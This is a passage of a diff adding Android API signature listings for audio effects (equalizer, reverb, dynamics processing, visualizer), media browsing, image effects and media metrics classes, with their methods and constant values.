+    method public void setPostEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPostEqBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPostEqBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPostEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPreEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPreEqBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPreEqBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPreEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+  }
+
+  public static final class DynamicsProcessing.Config.Builder {
+    ctor public DynamicsProcessing.Config.Builder(int, int, boolean, int, boolean, int, boolean, int, boolean);
+    method public android.media.audiofx.DynamicsProcessing.Config build();
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setAllChannelsTo(android.media.audiofx.DynamicsProcessing.Channel);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setChannelTo(int, android.media.audiofx.DynamicsProcessing.Channel);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setInputGainAllChannelsTo(float);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setInputGainByChannelIndex(int, float);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setLimiterAllChannelsTo(android.media.audiofx.DynamicsProcessing.Limiter);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setLimiterByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Limiter);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setMbcAllChannelsTo(android.media.audiofx.DynamicsProcessing.Mbc);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setMbcByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Mbc);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setPostEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setPostEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setPreEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setPreEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+    method public android.media.audiofx.DynamicsProcessing.Config.Builder setPreferredFrameDuration(float);
+  }
+
+  public static final class DynamicsProcessing.Eq extends android.media.audiofx.DynamicsProcessing.BandStage {
+    ctor public DynamicsProcessing.Eq(boolean, boolean, int);
+    ctor public DynamicsProcessing.Eq(android.media.audiofx.DynamicsProcessing.Eq);
+    method public android.media.audiofx.DynamicsProcessing.EqBand getBand(int);
+    method public void setBand(int, android.media.audiofx.DynamicsProcessing.EqBand);
+  }
+
+  public static final class DynamicsProcessing.EqBand extends android.media.audiofx.DynamicsProcessing.BandBase {
+    ctor public DynamicsProcessing.EqBand(boolean, float, float);
+    ctor public DynamicsProcessing.EqBand(android.media.audiofx.DynamicsProcessing.EqBand);
+    method public float getGain();
+    method public void setGain(float);
+  }
+
+  public static final class DynamicsProcessing.Limiter extends android.media.audiofx.DynamicsProcessing.Stage {
+    ctor public DynamicsProcessing.Limiter(boolean, boolean, int, float, float, float, float, float);
+    ctor public DynamicsProcessing.Limiter(android.media.audiofx.DynamicsProcessing.Limiter);
+    method public float getAttackTime();
+    method public int getLinkGroup();
+    method public float getPostGain();
+    method public float getRatio();
+    method public float getReleaseTime();
+    method public float getThreshold();
+    method public void setAttackTime(float);
+    method public void setLinkGroup(int);
+    method public void setPostGain(float);
+    method public void setRatio(float);
+    method public void setReleaseTime(float);
+    method public void setThreshold(float);
+  }
+
+  public static final class DynamicsProcessing.Mbc extends android.media.audiofx.DynamicsProcessing.BandStage {
+    ctor public DynamicsProcessing.Mbc(boolean, boolean, int);
+    ctor public DynamicsProcessing.Mbc(android.media.audiofx.DynamicsProcessing.Mbc);
+    method public android.media.audiofx.DynamicsProcessing.MbcBand getBand(int);
+    method public void setBand(int, android.media.audiofx.DynamicsProcessing.MbcBand);
+  }
+
+  public static final class DynamicsProcessing.MbcBand extends android.media.audiofx.DynamicsProcessing.BandBase {
+    ctor public DynamicsProcessing.MbcBand(boolean, float, float, float, float, float, float, float, float, float, float);
+    ctor public DynamicsProcessing.MbcBand(android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public float getAttackTime();
+    method public float getExpanderRatio();
+    method public float getKneeWidth();
+    method public float getNoiseGateThreshold();
+    method public float getPostGain();
+    method public float getPreGain();
+    method public float getRatio();
+    method public float getReleaseTime();
+    method public float getThreshold();
+    method public void setAttackTime(float);
+    method public void setExpanderRatio(float);
+    method public void setKneeWidth(float);
+    method public void setNoiseGateThreshold(float);
+    method public void setPostGain(float);
+    method public void setPreGain(float);
+    method public void setRatio(float);
+    method public void setReleaseTime(float);
+    method public void setThreshold(float);
+  }
+
+  public static class DynamicsProcessing.Stage {
+    ctor public DynamicsProcessing.Stage(boolean, boolean);
+    method public boolean isEnabled();
+    method public boolean isInUse();
+    method public void setEnabled(boolean);
+  }
+
+  public class EnvironmentalReverb extends android.media.audiofx.AudioEffect {
+    ctor public EnvironmentalReverb(int, int) throws java.lang.IllegalArgumentException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public short getDecayHFRatio() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public int getDecayTime() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getDensity() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getDiffusion() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public android.media.audiofx.EnvironmentalReverb.Settings getProperties() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public int getReflectionsDelay() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getReflectionsLevel() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public int getReverbDelay() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getReverbLevel() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getRoomHFLevel() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getRoomLevel() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setDecayHFRatio(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setDecayTime(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setDensity(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setDiffusion(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setParameterListener(android.media.audiofx.EnvironmentalReverb.OnParameterChangeListener);
+    method public void setProperties(android.media.audiofx.EnvironmentalReverb.Settings) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setReflectionsDelay(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setReflectionsLevel(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setReverbDelay(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setReverbLevel(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setRoomHFLevel(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setRoomLevel(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_DECAY_HF_RATIO = 3; // 0x3
+    field public static final int PARAM_DECAY_TIME = 2; // 0x2
+    field public static final int PARAM_DENSITY = 9; // 0x9
+    field public static final int PARAM_DIFFUSION = 8; // 0x8
+    field public static final int PARAM_REFLECTIONS_DELAY = 5; // 0x5
+    field public static final int PARAM_REFLECTIONS_LEVEL = 4; // 0x4
+    field public static final int PARAM_REVERB_DELAY = 7; // 0x7
+    field public static final int PARAM_REVERB_LEVEL = 6; // 0x6
+    field public static final int PARAM_ROOM_HF_LEVEL = 1; // 0x1
+    field public static final int PARAM_ROOM_LEVEL = 0; // 0x0
+  }
+
+  public static interface EnvironmentalReverb.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.EnvironmentalReverb, int, int, int);
+  }
+
+  public static class EnvironmentalReverb.Settings {
+    ctor public EnvironmentalReverb.Settings();
+    ctor public EnvironmentalReverb.Settings(String);
+    field public short decayHFRatio;
+    field public int decayTime;
+    field public short density;
+    field public short diffusion;
+    field public int reflectionsDelay;
+    field public short reflectionsLevel;
+    field public int reverbDelay;
+    field public short reverbLevel;
+    field public short roomHFLevel;
+    field public short roomLevel;
+  }
+
+  public class Equalizer extends android.media.audiofx.AudioEffect {
+    ctor public Equalizer(int, int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public short getBand(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public int[] getBandFreqRange(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getBandLevel(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short[] getBandLevelRange() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public int getCenterFreq(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getCurrentPreset() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getNumberOfBands() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getNumberOfPresets() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public String getPresetName(short);
+    method public android.media.audiofx.Equalizer.Settings getProperties() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setBandLevel(short, short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setParameterListener(android.media.audiofx.Equalizer.OnParameterChangeListener);
+    method public void setProperties(android.media.audiofx.Equalizer.Settings) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void usePreset(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_BAND_FREQ_RANGE = 4; // 0x4
+    field public static final int PARAM_BAND_LEVEL = 2; // 0x2
+    field public static final int PARAM_CENTER_FREQ = 3; // 0x3
+    field public static final int PARAM_CURRENT_PRESET = 6; // 0x6
+    field public static final int PARAM_GET_BAND = 5; // 0x5
+    field public static final int PARAM_GET_NUM_OF_PRESETS = 7; // 0x7
+    field public static final int PARAM_GET_PRESET_NAME = 8; // 0x8
+    field public static final int PARAM_LEVEL_RANGE = 1; // 0x1
+    field public static final int PARAM_NUM_BANDS = 0; // 0x0
+    field public static final int PARAM_STRING_SIZE_MAX = 32; // 0x20
+  }
+
+  public static interface Equalizer.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.Equalizer, int, int, int, int);
+  }
+
+  public static class Equalizer.Settings {
+    ctor public Equalizer.Settings();
+    ctor public Equalizer.Settings(String);
+    field public short[] bandLevels;
+    field public short curPreset;
+    field public short numBands;
+  }
+
+  public class HapticGenerator extends android.media.audiofx.AudioEffect implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public static android.media.audiofx.HapticGenerator create(int);
+    method public static boolean isAvailable();
+    method public int setEnabled(boolean);
+  }
+
+  public class LoudnessEnhancer extends android.media.audiofx.AudioEffect {
+    ctor public LoudnessEnhancer(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public float getTargetGain() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setTargetGain(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_TARGET_GAIN_MB = 0; // 0x0
+  }
+
+  public class NoiseSuppressor extends android.media.audiofx.AudioEffect {
+    method public static android.media.audiofx.NoiseSuppressor create(int);
+    method public static boolean isAvailable();
+  }
+
+  public class PresetReverb extends android.media.audiofx.AudioEffect {
+    ctor public PresetReverb(int, int) throws java.lang.IllegalArgumentException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public short getPreset() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public android.media.audiofx.PresetReverb.Settings getProperties() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setParameterListener(android.media.audiofx.PresetReverb.OnParameterChangeListener);
+    method public void setPreset(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setProperties(android.media.audiofx.PresetReverb.Settings) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_PRESET = 0; // 0x0
+    field public static final short PRESET_LARGEHALL = 5; // 0x5
+    field public static final short PRESET_LARGEROOM = 3; // 0x3
+    field public static final short PRESET_MEDIUMHALL = 4; // 0x4
+    field public static final short PRESET_MEDIUMROOM = 2; // 0x2
+    field public static final short PRESET_NONE = 0; // 0x0
+    field public static final short PRESET_PLATE = 6; // 0x6
+    field public static final short PRESET_SMALLROOM = 1; // 0x1
+  }
+
+  public static interface PresetReverb.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.PresetReverb, int, int, short);
+  }
+
+  public static class PresetReverb.Settings {
+    ctor public PresetReverb.Settings();
+    ctor public PresetReverb.Settings(String);
+    field public short preset;
+  }
+
+  public class Virtualizer extends android.media.audiofx.AudioEffect {
+    ctor public Virtualizer(int, int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public boolean canVirtualize(int, int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public boolean forceVirtualizationMode(int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public android.media.audiofx.Virtualizer.Settings getProperties() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getRoundedStrength() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public boolean getSpeakerAngles(int, int, int[]) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public boolean getStrengthSupported();
+    method public int getVirtualizationMode() throws java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setParameterListener(android.media.audiofx.Virtualizer.OnParameterChangeListener);
+    method public void setProperties(android.media.audiofx.Virtualizer.Settings) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setStrength(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_STRENGTH = 1; // 0x1
+    field public static final int PARAM_STRENGTH_SUPPORTED = 0; // 0x0
+    field public static final int VIRTUALIZATION_MODE_AUTO = 1; // 0x1
+    field public static final int VIRTUALIZATION_MODE_BINAURAL = 2; // 0x2
+    field public static final int VIRTUALIZATION_MODE_OFF = 0; // 0x0
+    field public static final int VIRTUALIZATION_MODE_TRANSAURAL = 3; // 0x3
+  }
+
+  public static interface Virtualizer.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.Virtualizer, int, int, short);
+  }
+
+  public static class Virtualizer.Settings {
+    ctor public Virtualizer.Settings();
+    ctor public Virtualizer.Settings(String);
+    field public short strength;
+  }
+
+  public class Visualizer {
+    ctor public Visualizer(int) throws java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method protected void finalize();
+    method public int getCaptureSize() throws java.lang.IllegalStateException;
+    method public static int[] getCaptureSizeRange();
+    method public boolean getEnabled();
+    method public int getFft(byte[]) throws java.lang.IllegalStateException;
+    method public static int getMaxCaptureRate();
+    method public int getMeasurementMode() throws java.lang.IllegalStateException;
+    method public int getMeasurementPeakRms(android.media.audiofx.Visualizer.MeasurementPeakRms);
+    method public int getSamplingRate() throws java.lang.IllegalStateException;
+    method public int getScalingMode() throws java.lang.IllegalStateException;
+    method public int getWaveForm(byte[]) throws java.lang.IllegalStateException;
+    method public void release();
+    method public int setCaptureSize(int) throws java.lang.IllegalStateException;
+    method public int setDataCaptureListener(android.media.audiofx.Visualizer.OnDataCaptureListener, int, boolean, boolean);
+    method public int setEnabled(boolean) throws java.lang.IllegalStateException;
+    method public int setMeasurementMode(int) throws java.lang.IllegalStateException;
+    method public int setScalingMode(int) throws java.lang.IllegalStateException;
+    field public static final int ALREADY_EXISTS = -2; // 0xfffffffe
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_BAD_VALUE = -4; // 0xfffffffc
+    field public static final int ERROR_DEAD_OBJECT = -7; // 0xfffffff9
+    field public static final int ERROR_INVALID_OPERATION = -5; // 0xfffffffb
+    field public static final int ERROR_NO_INIT = -3; // 0xfffffffd
+    field public static final int ERROR_NO_MEMORY = -6; // 0xfffffffa
+    field public static final int MEASUREMENT_MODE_NONE = 0; // 0x0
+    field public static final int MEASUREMENT_MODE_PEAK_RMS = 1; // 0x1
+    field public static final int SCALING_MODE_AS_PLAYED = 1; // 0x1
+    field public static final int SCALING_MODE_NORMALIZED = 0; // 0x0
+    field public static final int STATE_ENABLED = 2; // 0x2
+    field public static final int STATE_INITIALIZED = 1; // 0x1
+    field public static final int STATE_UNINITIALIZED = 0; // 0x0
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public static final class Visualizer.MeasurementPeakRms {
+    ctor public Visualizer.MeasurementPeakRms();
+    field public int mPeak;
+    field public int mRms;
+  }
+
+  public static interface Visualizer.OnDataCaptureListener {
+    method public void onFftDataCapture(android.media.audiofx.Visualizer, byte[], int);
+    method public void onWaveFormDataCapture(android.media.audiofx.Visualizer, byte[], int);
+  }
+
+}
+
+package android.media.browse {
+
+  public final class MediaBrowser {
+    ctor public MediaBrowser(android.content.Context, android.content.ComponentName, android.media.browse.MediaBrowser.ConnectionCallback, android.os.Bundle);
+    method public void connect();
+    method public void disconnect();
+    method @Nullable public android.os.Bundle getExtras();
+    method public void getItem(@NonNull String, @NonNull android.media.browse.MediaBrowser.ItemCallback);
+    method @NonNull public String getRoot();
+    method @NonNull public android.content.ComponentName getServiceComponent();
+    method @NonNull public android.media.session.MediaSession.Token getSessionToken();
+    method public boolean isConnected();
+    method public void subscribe(@NonNull String, @NonNull android.media.browse.MediaBrowser.SubscriptionCallback);
+    method public void subscribe(@NonNull String, @NonNull android.os.Bundle, @NonNull android.media.browse.MediaBrowser.SubscriptionCallback);
+    method public void unsubscribe(@NonNull String);
+    method public void unsubscribe(@NonNull String, @NonNull android.media.browse.MediaBrowser.SubscriptionCallback);
+    field public static final String EXTRA_PAGE = "android.media.browse.extra.PAGE";
+    field public static final String EXTRA_PAGE_SIZE = "android.media.browse.extra.PAGE_SIZE";
+  }
+
+  public static class MediaBrowser.ConnectionCallback {
+    ctor public MediaBrowser.ConnectionCallback();
+    method public void onConnected();
+    method public void onConnectionFailed();
+    method public void onConnectionSuspended();
+  }
+
+  public abstract static class MediaBrowser.ItemCallback {
+    ctor public MediaBrowser.ItemCallback();
+    method public void onError(@NonNull String);
+    method public void onItemLoaded(android.media.browse.MediaBrowser.MediaItem);
+  }
+
+  public static class MediaBrowser.MediaItem implements android.os.Parcelable {
+    ctor public MediaBrowser.MediaItem(@NonNull android.media.MediaDescription, int);
+    method public int describeContents();
+    method @NonNull public android.media.MediaDescription getDescription();
+    method public int getFlags();
+    method @Nullable public String getMediaId();
+    method public boolean isBrowsable();
+    method public boolean isPlayable();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.browse.MediaBrowser.MediaItem> CREATOR;
+    field public static final int FLAG_BROWSABLE = 1; // 0x1
+    field public static final int FLAG_PLAYABLE = 2; // 0x2
+  }
+
+  public abstract static class MediaBrowser.SubscriptionCallback {
+    ctor public MediaBrowser.SubscriptionCallback();
+    method public void onChildrenLoaded(@NonNull String, @NonNull java.util.List<android.media.browse.MediaBrowser.MediaItem>);
+    method public void onChildrenLoaded(@NonNull String, @NonNull java.util.List<android.media.browse.MediaBrowser.MediaItem>, @NonNull android.os.Bundle);
+    method public void onError(@NonNull String);
+    method public void onError(@NonNull String, @NonNull android.os.Bundle);
+  }
+
+}
+
+package android.media.effect {
+
+  public abstract class Effect {
+    ctor public Effect();
+    method public abstract void apply(int, int, int, int);
+    method public abstract String getName();
+    method public abstract void release();
+    method public abstract void setParameter(String, Object);
+    method public void setUpdateListener(android.media.effect.EffectUpdateListener);
+  }
+
+  public class EffectContext {
+    method public static android.media.effect.EffectContext createWithCurrentGlContext();
+    method public android.media.effect.EffectFactory getFactory();
+    method public void release();
+  }
+
+  public class EffectFactory {
+    method public android.media.effect.Effect createEffect(String);
+    method public static boolean isEffectSupported(String);
+    field public static final String EFFECT_AUTOFIX = "android.media.effect.effects.AutoFixEffect";
+    field public static final String EFFECT_BACKDROPPER = "android.media.effect.effects.BackDropperEffect";
+    field public static final String EFFECT_BITMAPOVERLAY = "android.media.effect.effects.BitmapOverlayEffect";
+    field public static final String EFFECT_BLACKWHITE = "android.media.effect.effects.BlackWhiteEffect";
+    field public static final String EFFECT_BRIGHTNESS = "android.media.effect.effects.BrightnessEffect";
+    field public static final String EFFECT_CONTRAST = "android.media.effect.effects.ContrastEffect";
+    field public static final String EFFECT_CROP = "android.media.effect.effects.CropEffect";
+    field public static final String EFFECT_CROSSPROCESS = "android.media.effect.effects.CrossProcessEffect";
+    field public static final String EFFECT_DOCUMENTARY = "android.media.effect.effects.DocumentaryEffect";
+    field public static final String EFFECT_DUOTONE = "android.media.effect.effects.DuotoneEffect";
+    field public static final String EFFECT_FILLLIGHT = "android.media.effect.effects.FillLightEffect";
+    field public static final String EFFECT_FISHEYE = "android.media.effect.effects.FisheyeEffect";
+    field public static final String EFFECT_FLIP = "android.media.effect.effects.FlipEffect";
+    field public static final String EFFECT_GRAIN = "android.media.effect.effects.GrainEffect";
+    field public static final String EFFECT_GRAYSCALE = "android.media.effect.effects.GrayscaleEffect";
+    field public static final String EFFECT_LOMOISH = "android.media.effect.effects.LomoishEffect";
+    field public static final String EFFECT_NEGATIVE = "android.media.effect.effects.NegativeEffect";
+    field public static final String EFFECT_POSTERIZE = "android.media.effect.effects.PosterizeEffect";
+    field public static final String EFFECT_REDEYE = "android.media.effect.effects.RedEyeEffect";
+    field public static final String EFFECT_ROTATE = "android.media.effect.effects.RotateEffect";
+    field public static final String EFFECT_SATURATE = "android.media.effect.effects.SaturateEffect";
+    field public static final String EFFECT_SEPIA = "android.media.effect.effects.SepiaEffect";
+    field public static final String EFFECT_SHARPEN = "android.media.effect.effects.SharpenEffect";
+    field public static final String EFFECT_STRAIGHTEN = "android.media.effect.effects.StraightenEffect";
+    field public static final String EFFECT_TEMPERATURE = "android.media.effect.effects.ColorTemperatureEffect";
+    field public static final String EFFECT_TINT = "android.media.effect.effects.TintEffect";
+    field public static final String EFFECT_VIGNETTE = "android.media.effect.effects.VignetteEffect";
+  }
+
+  public interface EffectUpdateListener {
+    method public void onEffectUpdated(android.media.effect.Effect, Object);
+  }
+
+}
+
+package android.media.metrics {
+
+  public abstract class Event {
+    method @NonNull public android.os.Bundle getMetricsBundle();
+    method @IntRange(from=0xffffffff) public long getTimeSinceCreatedMillis();
+  }
+
+  public final class LogSessionId {
+    method @NonNull public String getStringId();
+    field @NonNull public static final android.media.metrics.LogSessionId LOG_SESSION_ID_NONE;
+  }
+
+  public final class MediaMetricsManager {
+    method @NonNull public android.media.metrics.PlaybackSession createPlaybackSession();
+    method @NonNull public android.media.metrics.RecordingSession createRecordingSession();
+    field public static final long INVALID_TIMESTAMP = -1L; // 0xffffffffffffffffL
+  }
+
+  public final class NetworkEvent extends android.media.metrics.Event implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getNetworkType();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.metrics.NetworkEvent> CREATOR;
+    field public static final int NETWORK_TYPE_2G = 4; // 0x4
+    field public static final int NETWORK_TYPE_3G = 5; // 0x5
+    field public static final int NETWORK_TYPE_4G = 6; // 0x6
+    field public static final int NETWORK_TYPE_5G_NSA = 7; // 0x7
+    field public static final int NETWORK_TYPE_5G_SA = 8; // 0x8
+    field public static final int NETWORK_TYPE_ETHERNET = 3; // 0x3
+    field public static final int NETWORK_TYPE_OFFLINE = 9; // 0x9
+    field public static final int NETWORK_TYPE_OTHER = 1; // 0x1
+    field public static final int NETWORK_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int NETWORK_TYPE_WIFI = 2; // 0x2
+  }
+
+  public static final class NetworkEvent.Builder {
+    ctor public NetworkEvent.Builder();
+    method @NonNull public android.media.metrics.NetworkEvent build();
+    method @NonNull public android.media.metrics.NetworkEvent.Builder setMetricsBundle(@NonNull android.os.Bundle);
+    method @NonNull public android.media.metrics.NetworkEvent.Builder setNetworkType(int);
+    method @NonNull public android.media.metrics.NetworkEvent.Builder setTimeSinceCreatedMillis(@IntRange(from=0xffffffff) long);
+  }
+
+  public final class PlaybackErrorEvent extends android.media.metrics.Event implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getErrorCode();
+    method @IntRange(from=java.lang.Integer.MIN_VALUE, to=java.lang.Integer.MAX_VALUE) public int getSubErrorCode();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.metrics.PlaybackErrorEvent> CREATOR;
+    field public static final int ERROR_AUDIO_TRACK_INIT_FAILED = 17; // 0x11
+    field public static final int ERROR_AUDIO_TRACK_OTHER = 19; // 0x13
+    field public static final int ERROR_AUDIO_TRACK_WRITE_FAILED = 18; // 0x12
+    field public static final int ERROR_DECODER_INIT_FAILED = 13; // 0xd
+    field public static final int ERROR_DECODING_FAILED = 14; // 0xe
+    field public static final int ERROR_DECODING_FORMAT_EXCEEDS_CAPABILITIES = 15; // 0xf
+    field public static final int ERROR_DECODING_FORMAT_UNSUPPORTED = 35; // 0x23
+    field public static final int ERROR_DECODING_OTHER = 16; // 0x10
+    field public static final int ERROR_DRM_CONTENT_ERROR = 28; // 0x1c
+    field public static final int ERROR_DRM_DEVICE_REVOKED = 29; // 0x1d
+    field public static final int ERROR_DRM_DISALLOWED_OPERATION = 26; // 0x1a
+    field public static final int ERROR_DRM_LICENSE_ACQUISITION_FAILED = 25; // 0x19
+    field public static final int ERROR_DRM_OTHER = 30; // 0x1e
+    field public static final int ERROR_DRM_PROVISIONING_FAILED = 24; // 0x18
+    field public static final int ERROR_DRM_SCHEME_UNSUPPORTED = 23; // 0x17
+    field public static final int ERROR_DRM_SYSTEM_ERROR = 27; // 0x1b
+    field public static final int ERROR_IO_BAD_HTTP_STATUS = 5; // 0x5
+    field public static final int ERROR_IO_CONNECTION_CLOSED = 8; // 0x8
+    field public static final int ERROR_IO_CONNECTION_TIMEOUT = 7; // 0x7
+    field public static final int ERROR_IO_DNS_FAILED = 6; // 0x6
+    field public static final int ERROR_IO_FILE_NOT_FOUND = 31; // 0x1f
+    field public static final int ERROR_IO_NETWORK_CONNECTION_FAILED = 4; // 0x4
+    field public static final int ERROR_IO_NETWORK_UNAVAILABLE = 3; // 0x3
+    field public static final int ERROR_IO_NO_PERMISSION = 32; // 0x20
+    field public static final int ERROR_IO_OTHER = 9; // 0x9
+    field public static final int ERROR_OTHER = 1; // 0x1
+    field public static final int ERROR_PARSING_CONTAINER_MALFORMED = 11; // 0xb
+    field public static final int ERROR_PARSING_CONTAINER_UNSUPPORTED = 34; // 0x22
+    field public static final int ERROR_PARSING_MANIFEST_MALFORMED = 10; // 0xa
+    field public static final int ERROR_PARSING_MANIFEST_UNSUPPORTED = 33; // 0x21
+    field public static final int ERROR_PARSING_OTHER = 12; // 0xc
+    field public static final int ERROR_PLAYER_BEHIND_LIVE_WINDOW = 21; // 0x15
+    field public static final int ERROR_PLAYER_OTHER = 22; // 0x16
+    field public static final int ERROR_PLAYER_REMOTE = 20; // 0x14
+    field public static final int ERROR_RUNTIME = 2; // 0x2
+    field public static final int ERROR_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class PlaybackErrorEvent.Builder {
+    ctor public PlaybackErrorEvent.Builder();
+    method @NonNull public android.media.metrics.PlaybackErrorEvent build();
